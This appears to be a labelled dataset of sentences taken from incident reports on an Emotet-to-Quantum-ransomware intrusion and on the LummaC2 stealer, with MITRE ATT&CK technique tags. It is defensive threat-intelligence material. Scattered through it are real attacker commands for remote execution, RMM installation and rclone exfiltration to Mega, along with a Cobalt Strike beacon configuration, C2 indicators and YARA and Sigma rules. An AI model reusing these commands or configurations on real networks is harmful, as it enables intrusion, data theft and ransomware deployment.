{"sentence": "It has been reportedly used by several ransomware groups to aid in their operations [1][2][3][4].", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The Granted Access level matches know indicators for Mimikatz with an access value of 0x1010 (4112), as we covered in a prior report.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We also observed a Cobalt Strike executable request access level of 0x0040 (64) to LSASS, as well indicating other credential access tools may have been in use by the threat actor.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Discovery During the initial Emotet execution, three automated discovery commands were observed.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These were then repeated, seen occurring once a day from the Emotet host. systeminfo ipconfig /all", "labels": ["T1016", "T1082"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "nltest /dclist: Multiple commands responsible for enumerating Active Directory groups, domain joined computers, and domain trusts, were executed via Cobalt Strike on the beachhead.", "labels": ["T1033"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "whoami /groups net group /domain net group \"domain computers\" /domain", "labels": ["T1033"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"Domain controller\" net group /domain", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"Domain controllers\" A ping command issued to a user workstation and a domain controller were observed moments before lateral movement was attempted.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ping COMPUTER.REDACTED.local Invoke-ShareFinder was observed being used via Powershell in the environment from an injected process with Cobalt Strike:", "labels": ["T1055"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In addition to the Invoke-ShareFinder command, other functions that were used by the script were also observed.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The first find.bat was used to run AdFind.exe for Active Directory discovery.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"objectcategory=computer\" find.exe -f \"(objectcategory=organizationalUnit)\" find.exe -subnets -f (objectCategory=subnet) find.exe -f \"(objectcategory=group)\" find.exe -gcb -sc trustdmp The second script, p.bat, was run to sweep the network using ping, looking for network connectivity and online hosts.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the final day, prior to ransom deployment, the threat actor also dropped netscan.exe on the server, and executed it from the Tactical RMM meshagent.exe session.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\Windows\\System32\\mstsc mstsc.exe /v:", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "IP_ADDRESS_1 C:\\Windows\\System32\\mstsc mstsc.exe /v:IP_ADDRESS_2 C:\\Windows\\SysWOW64\\explorer.exe \"C:\\Windows\\SysWOW64\\explorer.exe\" \\\\IP_ADDRESS_1\\C$ C:\\Windows\\SysWOW64\\explorer.exe \"C:\\Windows\\SysWOW64\\explorer.exe\" \\\\IP_ADDRESS_2\\C$ Lateral Movement Cobalt Strike Remote Service Creation The threat actor was observed creating remote services in order to execute beacon DLL files transferred via SMB as SYSTEM on remote hosts.", "labels": ["T1059.003", "T1218.011", "T1543.003", "T1569.002", "T1570"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In another instance, an executable Cobalt Strike beacon was copied via SMB to a target machine, and then executed via WMI.", "labels": ["T1047", "T1570"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "wmic /node:IP_Address process call create \"cmd.exe /c start C:\\Progradata\\sc_https_x64.exe\" Remote Desktop Lastly, traces of RDP (Remote Desktop Protocol) connections were discovered on multiple compromised hosts utilized for lateral movement on the final day of the intrusion and during the ransomware deployment.", "labels": ["T1021.001", "T1047", "T1059.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Collection On the third day of the intrusion, after moving laterally, the threat actors began to review sensitive documents stored on network shares, including revenue, insurance, and password storage documents.", "labels": ["T1005"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These documents were again reviewed by the threat actor on the final day of the intrusion.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "hxxps://descontador[.]com[.]br hxxps://www.elaboro[.]pl hxxps://el-energiaki[.]gr hxxp://drechslerstammtisch[.]de hxxp://dhnconstrucciones[.]com[.]ar hxxp://dilsrl[.]com The second stage loader had multiple IP addresses in its configuration to attempt connections to: 103.159.224.46 103.75.201.2 119.193.124.41 128.199.225.17 131.100.24.231 139.59.60.88 144.217.88.125 146.59.226.45", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "149.56.131.28 159.89.202.34 165.22.211.113 165.227.166.238 178.128.82.218 209.126.98.206 213.32.75.32 37.187.115.122 45.226.53.34 45.55.134.126 46.55.222.11 51.210.176.76 51.254.140.238 54.37.70.105 82.223.82.69 91.207.181.106 92.114.18.20 94.23.45.86 96.125.171.16 Cobalt Strike The following Cobalt Strike C2 servers were observed being used.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[], \"headers\": [] }, \"verb\": \"GET\", \"uri\": \"/jquery-3.3.1.min.js\" }, \"cfg_caution\": false, \"host_header\": \"\", \"crypto_scheme\": \"0\", \"http_post\": { \"client\": { \"output\": [], \"id\": [], \"headers\": [] }, \"verb\": \"POST\", \"uri\": \"/jquery-3.3.2.min.js\" } } 139.60.160.18:443 (juanjik[.]com) { \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"dns_beacon\": {}, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"post_ex\": { \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\", \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\" }, \"stage\": { \"cleanup\": true }, \"process_inject\": { \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform_x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform_x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"startrwx\": false, \"min_alloc\": \"17500\", \"userwx\": false, \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"allocator\": \"NtMapViewOfSection\" }, \"uses_cookies\": true, \"http_post_chunk\": \"0\", \"ssh\": {}, \"maxgetsize\": \"1403644\", \"proxy\": { \"behavior\": \"Use IE settings\" }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"server\": { \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbFjn9w4cE3slYf3jYqTw3S+6HxAGZd3cMpTqKnDsmGAmCsll4R4jp5yz2SnrpRz8brvoZNotuWhqu71R0FqaAkaaheF5MrOHJBbCvGKDu4m6RZ0DHicJCpj6YIm0FLHNNZugHhV5Ou9lZaseCTECMnk0rXiwTsiRWv9ikRccwHwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\", \"port\": \"80\", \"hostname\": \"juanjik[.]com\" }, \"beacontype\": [ \"HTTP\" ], \"license_id\": \"206546002\", \"jitter\": \"37\", \"sleeptime\": \"45000\", \"http_get\": { \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] }, \"client\": { \"metadata\":", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During the installation of the software, the following command was observed: \"C:\\Program Files\\TacticalAgent\\tacticalrmm.exe\"", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth REDACTED This command reveals the floppasoftware.com domain used by the threat actor for the remote management of Tactical RMM Agent.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A domain registered to be used with Tactical RMM Agent will have both an api and mesh subdomain, in this case api.floppasoftware[.]com and mesh.floppasoftware[.]com.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These were both hosted on the same server IP: 212.73.150.62.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In addition, during the execution of Tactical RMM Agent, the software will reach out to a centralized domain in order to retrieve the current public IP address in use: icanhazip.tacticalrmm.io AnyDesk On the final day of the intrusion, AnyDesk was deployed on the server they had previously installed Tactical RMM on.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Using this RMM agent they proceeded to install AnyDesk on the host.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "MeshAgent.exe -kvm1 - Initiating Process File Name, column 6, row 12 \"MeshAgent.exe\" -b64exec cmVxdWlyZSgnd2luLWNvbnNvbGUnKS5oaWRlKCk7cmVxdWlyZSgnd2luLWRpc3BhdGNoZXInKS5jb25uZWN0KCczNzQ3Jyk7 The decoded base 64 content reveals commands for console access and connect actions.", "labels": ["T1140"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This is then followed by the following process flow: Once downloaded and installed, the threat actor initiated a connection to the AnyDesk host.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Client-ID: 752733537 (FPR: 27ac27e2c9ed) Logged in from 84.17.49.114:1249 Exfiltration Also seen in our last report on Emotet, threat actors leveraged Rclone to exfiltrate data to Mega (Mega.nz) storage services. rclone.exe copy \"\\\\SERVER.domain.name\\path\" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6 rclone.exe copy \"\\\\SERVER.domain.name\\path\" mega:2 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6 From the rclone.conf file, the threat actors left the details of the remote account being used.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The following is an example of the SMTP traffic for sending the email, along with an extracted EML that was sent with an attached XLS: Ransomware Towards the last day of the intrusion, the threat actor made their preparations to deploy ransomware to the domain.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They started by connecting to a new server via RDP from the server they just used Tactical RMM to deploy Anydesk.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Don’t Sleep has the capability to keep the computer from being shutdown and the user from being signed off.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was likely done to ensure nothing will interfere with the propagation of the ransomware payload.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The script invoked the main ransomware payload, locker.dll, and passed a list of all the computers in the domain to the target parameter.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "=DOMAIN\\Administrator /password=[REDACTED]", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The executable began to encrypt all the targeted hosts in the environment and dropped a ransom note: README_TO_DECRYPT.html After the invocation of the ransomware payload, about a minute later, the threat actor launched Process Hacker.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We believe this was to monitor the execution of the ransomware payload.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "All systems in the domain were encrypted and presented with a ransom message.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Indicators Atomic Emotet Deployment Domains descontador[.]com[.]br www.elaboro[.]pl el-energiaki[.]gr drechslerstammtisch[.]de dhnconstrucciones[.]com[.]ar dilsrl[.]com Emotet C2 Servers 103.159.224.46 103.75.201.2 119.193.124.41 128.199.225.17 131.100.24.231 139.59.60.88 144.217.88.125 146.59.226.45 149.56.131.28 159.89.202.34 165.22.211.113 165.227.166.238 178.128.82.218 209.126.98.206 213.32.75.32 37.187.115.122 45.226.53.34 45.55.134.126 46.55.222.11 51.210.176.76 51.254.140.238 54.37.70.105 82.223.82.69 91.207.181.106 92.114.18.20 94.23.45.86 96.125.171.165 Cobalt Strike 139.60.161.167 (survefuz[.]com) 139.60.160.18 (juanjik[.]com) Tactical RMM Agent api.floppasoftware[.]com mesh.floppasoftware[.]com 212.73.150.62 Computed K-1 06.13.2022.lnk de7c4da78a6cbba096e32e5eecb00566 02b4f495e9995cc2251c19cd9984763f52122951 1bf9314ae67ab791932c43e6c64103b1b572a88035447dae781bffd21a1187ad 17jun.exe 0ea68856c4f56f4056502208e97e9033 b80c987c8849bf7905ea8f283b79d98753e3c15a 41e230134deca492704401ddf556ee2198ef6f32b868ec626d9aefbf268ab6b1 dontsleep.exe 50cc3a3bca96d7096c8118e838d9bc16 b286b58ed32b6df4ecdb5df86d7d7d177bb7bfaf f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee locker.dll d2df4601c8d43e655163c0b292bc4cc9 f6727d5d04f2728a3353fbd45d7b2cb19e98802c 6424b4983f83f477a5da846a1dc3e2565b7a7d88ae3f084f3d3884c43aec5df6 netscan.exe 27f7186499bc8d10e51d17d3d6697bc5 52332ce16ee0c393b8eea6e71863ad41e3caeafd 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566 rclone.exe 22bbe1747933531e9c240e0db86268e2 c2a8776e21403eb00b38bfccd36d1c03dffb009e 53ae3567a34097f29011d752f1d3afab8f92beb36a8d6a5df5c1d4b12edc Behavioral The threat actor delivered Emotet via a Emotet loader in the form of a LNK file responsible for dropping Emotet via Powershell (K-1 06.13.2022.lnk).", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Data was exfiltrated to Mega cloud service via Rclone (rclone.exe).", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Network mapping was performed using SoftPerfect Network Scanner (netscan.exe) followed by Quantum ransomware execution and propagation in the network (locker.dll).", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor kept the remote desktop session alive by running a program to keep the session active (dontsleep.exe) Detections Network The DFIR Report Cobalt Strike 139.60.160.18The DFIR Report Cobalt Strike 139.60.161.167 ET Threatview.io High Confidence Cobalt Strike C2 IP group 1 ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET INFO Observed External IP Lookup Domain (icanhazip .com", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "in TLS SNI)t ET JA3 HASH - Possible Rclone Client Response (Mega Storage) ET POLICY HTTP POST", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "AnyDesk Remote Desktop Software User-Agent ET CNC Feodo Tracker Reported CnC Server group 1 ET CNC Feodo Tracker Reported CnC Server group 14 ET CNC Feodo Tracker Reported CnC Server group 15 ET CNC Feodo Tracker Reported CnC Server group 17 ET CNC Feodo Tracker Reported CnC Server group 19 ET CNC Feodo Tracker Reported CnC Server group 2 ET CNC Feodo Tracker Reported CnC Server group 20 ET CNC Feodo Tracker Reported CnC Server group 21 ET CNC Feodo Tracker Reported CnC Server group 23 ET CNC Feodo Tracker Reported CnC Server group 24 ET CNC Feodo Tracker Reported CnC Server group 25 ET CNC Feodo Tracker Reported CnC Server group 3 ET CNC Feodo Tracker Reported CnC Server group 4 ET CNC Feodo Tracker Reported CnC Server group 5 ET CNC Feodo Tracker Reported CnC Server group 6 ET CNC Feodo Tracker Reported CnC Server group 7 ET CNC Feodo Tracker Reported CnC Server group 8 ET CNC Feodo Tracker Reported CnC Server group 9ET MALWARE W32/Emotet CnC Beacon 3 Sigma Custom Rules title: Emotet Child Process Spawn Pattern id: 50e8cf53-62df-49aa-bbde-8b3a0a6d8a35 status: Experimental description: Detects Emotet Spawning ipconfig and systeminfo.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "selection_image: CommandLine: - 'ipconfig /all' - 'systeminfo' selection_parent: ParentImage|endswith: - 'regsvr32.exe' selection_parent_cmdline: ParentCommandLine|contains: - '.dll' condition: selection_image and selection_parent and selection_parent_cmdline falsepositives: - Unknown level: high tags: - attack.discovery - attack.t1087 Yara /* YARA Rule Set Author: The DFIR Report Date: 2022-11-28 Identifier:", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Quantum Ransomware - Case 15184 Reference:", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "https://thedfirreport.com */ /*", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Rule Set -----------------------------------------------------------------", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "*/ rule ___FilesToHash_17jun", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "%x] with length %ystopTheWorld: not stopped (status !", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "= _Pgcstop)sysGrow bounds not aligned to palloc\" ascii $x5 = \"VirtualQuery for stack base failedadding nil Certificate to CertPoolbad scalar length: %d, expected %dchacha20: wrong HChaCha20 \" ascii $x6 = \"file descriptor in bad statefindrunnable: netpoll with pforgetting unknown stream idfound pointer to free objectgcBgMarkWorker: \" ascii $x7 = \"tls: certificate used with invalid signature algorithmtls: server resumed a session with a different versionx509: cannot verify \" ascii $x8 = \"non-IPv4 addressnon-IPv6 addressobject is remotepacer: H_m_prev=proxy-connectionreflect mismatchremote I/O errorruntime:", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "g: g=\" ascii $x9 = \"lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnablestrict-trans\" ascii $x10 = \"unixpacketunknown pcuser-agentws2_32.dll of size (targetpc= ErrCode=%v KiB work, freeindex= gcwaiting= idleprocs= in status \" ascii $x11 = \"100-continue152587890625762939453125Bidi_ControlCIDR addressCONTINUATIONContent TypeContent-TypeCookie.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "DLL\" fullword wide $s3 = \"CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST \\\"res\\\\\\\\APP.exe.manifest\\\"\" fullword ascii $s4 = \"msinfo32.exe\" fullword ascii $s5 = \"user32.dll,LockWorkStation\" fullword wide $s6 = \"DontSleep.exe\" fullword wide $s7 = \"UMServer.log\" fullword ascii $s8 = \"_Autoupdate.exe\" fullword ascii $s9 = \"BlockbyExecutionState: %d", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "on:%d by_enable:%d\" fullword wide $s10 = \"powrprof.dll,SetSuspendState\" fullword wide $s11 = \"%UserProfile%\" fullword wide $s12 = \" 2010-2019", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Nenad Hrg SoftwareOK.com\" fullword wide $s13 = \"https://sectigo.com/CPS0C\" fullword ascii $s14 = \"https://sectigo.com/CPS0D\" fullword ascii $s15 = \"?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v\" fullword ascii $s16 = \"Unable to get response from Accept Thread withing specified Timeout ->\" fullword ascii $s17 = \"3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%\" fullword ascii $s18 = \"Unable to get response from Helper Thread within specified Timeout ->\" fullword ascii $s19 = \" <requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\">\" fullword ascii $s20 = \"_selfdestruct.bat\" fullword wide condition: uint16(0) == 0x5a4d and filesize < 700KB and 8 of them } rule ___", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Goodware String - occured 1 times */ $s5 = \"[email protected]\" fullword ascii /*", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Goodware String - occured 3 times */ $s6 = \"oF D3f0D3n4D3v8D3~<H\" fullword ascii $s7 = \"j]{7r]Y\" fullword ascii $s8 = \"EA>EmA\" fullword ascii $s9 = \"ol$0fE\" fullword ascii $s10 = \"S{L1I{\" fullword ascii $s11 = \"V32D!RT\" fullword ascii $s12 = \" A_A^_\" fullword ascii $s13 = \"v`L4~`g\" fullword ascii $s14 = \"9\\\\$8vsH\" fullword ascii $s15 = \"K:_Rich\" fullword ascii $s16 = \" A_A^A\\\\_^\" fullword ascii $s17 = \"tsf90u\" fullword ascii $s18 = \"9|$0vQ\" fullword ascii $s19 = \"K:_=:?^\" fullword ascii $s20 = \":9o 49\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 200KB and 8 of them } rule K_1_06_13_2022_lnk { meta: description = \"15184_ - file K-1", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Goodware String - occured 3 times */ $s8 = \"S-1-5-21-1499925678-132529631-3571256938-1001\" fullword wide condition: uint16(0) == 0x004c and filesize < 10KB and 1 of ($x*) and all of the MITRE PowerShell – T1059.001 Process Injection – T1055 File Deletion – T1070.004 Lateral Tool Transfer – T1570 Valid Accounts – T1078 Service Execution – T1569.002 SMB/Windows Admin Shares – T1021.002 Remote System Discovery – T1018 Process Discovery – T1057 Rundll32 – T1218.011 Regsvr32 – T1218.010 Domain Account – T1087.002 Domain Groups – T1069.002 System Information Discovery – T1082 Data Encrypted for Impact – T1486 Network Share Discovery – T1135 Data from Network Shared Drive – T1039 Web Protocols – T1071.001 Remote Access Software – T1219 Exfiltration to Cloud Storage – T1567.002", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "By SOCRadar Research In our article about Stealer-as-a-Service, as the SOCRadar Research team, we looked at Lumma Stealer, a relatively new and unknown malware.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "During our research, we didn’t find much information, so we did threat hunting by monitoring hacker forums with our dark web team.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We added the resulting data to our platform and started our analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "LummaC2 is the name of a malicious program classified as a stealer.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "After our dark web team discovered LummaC2, we found that it was being sold on underground forums.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Due to its distribution on the web, it can be related to multiple cybercriminals.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Executive Summary Threat Identifiers Name LummaC2 Threat Type Stealer Detections VirusTotal Symptoms Stealers are designed to stealthily infiltrate the victim’s computer and remain silent.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Distribution Methods Infected email attachments, malicious online advertisements, social engineering, software ‘cracks.’", "labels": ["T1566.001"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Damage Stolen passwords and banking information, identity theft, and the victim’s computer added to a botnet.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "This malware can exfiltrate files and extract data from specific applications.", "labels": ["T1005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "LummaC2 also targets multiple cryptocurrencies (e.g., Binance, Electrum, Ethereum, etc.).", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In summary, software like LummaC2 on devices can result in severe privacy issues, significant financial losses, and identity theft.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We searched for the hash value and finally downloaded the malware from the Triage site, completing the first step of our analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Since the sample we obtained is a PE file, when we run it after the appropriate environment is prepared and watch its mobility, it continues to run under the name “tmp.exe” by unpacking itself to the “C:\\Users\\admin\\AppData\\Local\\Temp\\” file path.", "labels": ["T1036.005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Process Name Command Line tmp.exe C:\\Users\\admin\\AppData\\Local\\Temp\\tmp.exe Behavior Activities: tmp.exe Infostealers often target stored browser data, which can include saved credentials etc.", "labels": ["T1005", "T1078", "T1112"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Registry Key Sets: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections HKU\\S-1-5-21-575823232-3065301323-1442773979-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections\\SavedLegacySettings HKU\\S-1-5-21-575823232-3065301323-1442773979-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable 1 HKU\\S-1-5-21-575823232-3065301323-1442773979-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer %HTTP_PROXY%:8080 Reads browser cookies and saves this path: C:\\Users\\admin\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\ymgarh1v.defaul t\\cookies.sqlite Connects to the server without a hostname.", "labels": ["T1112"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "hxxp[:]//195[.]123[.]226[.]91/c2sock", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "After the connection to the address is established, it transmits information as a zip file.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Details are given in other stages.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Static Analysis Overview File Name tmp.exe File Size 158 KB File Type Win32.exe MD5 c9c0e32e00d084653db0b37a239e9a34 SHA-1 b97965e4a793ec0fa10abc86d0c6be5718716d8a SHA-256 d932ee10f02ea5bb60ed867d9687a906f1b8472f01fc5543b06f9ab22059b264 When Lumma is analyzed in various tools, the outputs of the tools are as follows: It is written in C++ programming language.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Detect It Easy tool’s output is the total ‘6.51920’ entropy value, which turns out 81%.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "PEStudio tool’s output is total ‘6.519‘ entropy value.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In addition to the entropy value, we can view all functions and imported addresses when we examine them with IDA.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "At this stage, we decide that it is not packed, and when we finally check with the “exeinfope,” the result is “not packed.”", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
